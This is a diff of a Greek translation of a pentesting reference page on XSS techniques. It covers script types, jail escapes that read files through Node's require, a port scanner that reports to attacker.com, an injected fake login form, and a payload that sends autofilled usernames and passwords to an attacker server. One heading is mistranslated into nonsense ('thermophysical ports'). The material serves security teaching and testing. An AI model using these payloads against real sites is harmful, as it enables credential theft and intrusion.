 ### Script Types to XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Έτσι, ποιοι τύποι θα μπορούσαν να υποδεικνύουν τη φόρτωση ενός script;
+(Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ποιοι τύποι θα μπορούσαν να υποδεικνύουν τη φόρτωση ενός script;
 ```html
 <script type="???"></script>
 ```
 - **module** (προεπιλογή, τίποτα να εξηγήσω)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles είναι μια δυνατότητα που μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS…) μαζί σε ένα **`.wbn`** αρχείο.
+- [**webbundle**](https://web.dev/web-bundles/): Το Web Bundles είναι μια δυνατότητα που μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS…) μαζί σε ένα **`.wbn`** αρχείο.
 ```html
 <script type="webbundle">
 {
@@ -896,9 +897,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτή την αναφορά**](https://github.com/zwade/yaca/tree/master/solution) για να ανακατευθύνει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί, μπορεί να προκαλέσει XSS.
+Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτή την αναφορά**](https://github.com/zwade/yaca/tree/master/solution) για να επαναχαρτογραφήσει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί, μπορεί να προκαλέσει XSS.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει ορισμένα προβλήματα που προκαλούνται από την προ-απόδοση. Λειτουργεί ως εξής:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει ορισμένα προβλήματα που προκαλούνται από την προ-απεικόνιση. Λειτουργεί ως εξής:
 ```html
 <script type="speculationrules">
 {
@@ -923,7 +924,7 @@ import { partition } from "lodash"
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? όχι στη λίστα αλλά νομίζω ότι το είδα σε ένα CTF)
+- text/plain (?? όχι στη λίστα αλλά νομίζω ότι το είδα αυτό σε ένα CTF)
 - application/rss+xml (off)
 - application/atom+xml (off)
 
@@ -951,7 +952,7 @@ import { partition } from "lodash"
 chrome-cache-to-xss.md
 {{#endref}}
 
-### XS Jails Escape
+### Διαφυγή XS Jails
 
 Αν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων για χρήση, ελέγξτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
 ```javascript
@@ -993,7 +994,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - Πρόσβαση στο `require` έμμεσα
 
-[Σύμφωνα με αυτό](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules περιβάλλονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό:
+[Σύμφωνα με αυτό](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules περιτυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
@@ -1008,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να **χρησιμοποιήσετε διαχειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** της μονάδας και να αποκτήσετε τη **`require`** συνάρτηση:
+Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να **χρησιμοποιήσετε διαχειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** της μονάδας και να αποκτήσετε τη λειτουργία **`require`**:
 ```javascript
 try {
 null.f()
@@ -1343,7 +1344,7 @@ q.shift()()
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
-### Σαρωτής Θυρών (websockets)
+### Σαρωτής Θερμοφυσικών Θυρών (websockets)
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i<ports.length; i++) {
@@ -1366,7 +1367,7 @@ _Σύντομοι χρόνοι υποδεικνύουν μια απαντητι
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Αυτόματη καταγραφή κωδικών πρόσβασης
+### Λήψη κωδικών πρόσβασης αυτόματης συμπλήρωσης
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1377,7 +1378,7 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Όταν εισάγεται οποιοδήποτε δεδομένο στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα διαρρεύσουν.
+Όταν οποιαδήποτε δεδομένα εισάγονται στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα διαρρεύσουν.
 
 ### Keylogger
 
@@ -1473,7 +1474,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
 ```
 ### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
 
-Από [**αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex:
+Από [**αυτή τη συγγραφή**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1517,8 +1518,8 @@ xss-in-markdown.md
 
 ### XSS σε δυναμικά δημιουργημένο PDF
 
-Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο ελεγχόμενη από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\
+Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο κώδικα JS**.\
-Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **ερμηνεύσει** αυτά, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
+Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
@@ -1534,7 +1535,7 @@ pdf-injection.md
 
 Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει τη λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από συστατικά για διάφορες δυνατότητες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους.
+Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components σε email, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα email τους.
 
 Παράδειγμα [**writeup XSS σε Amp4Email στο Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).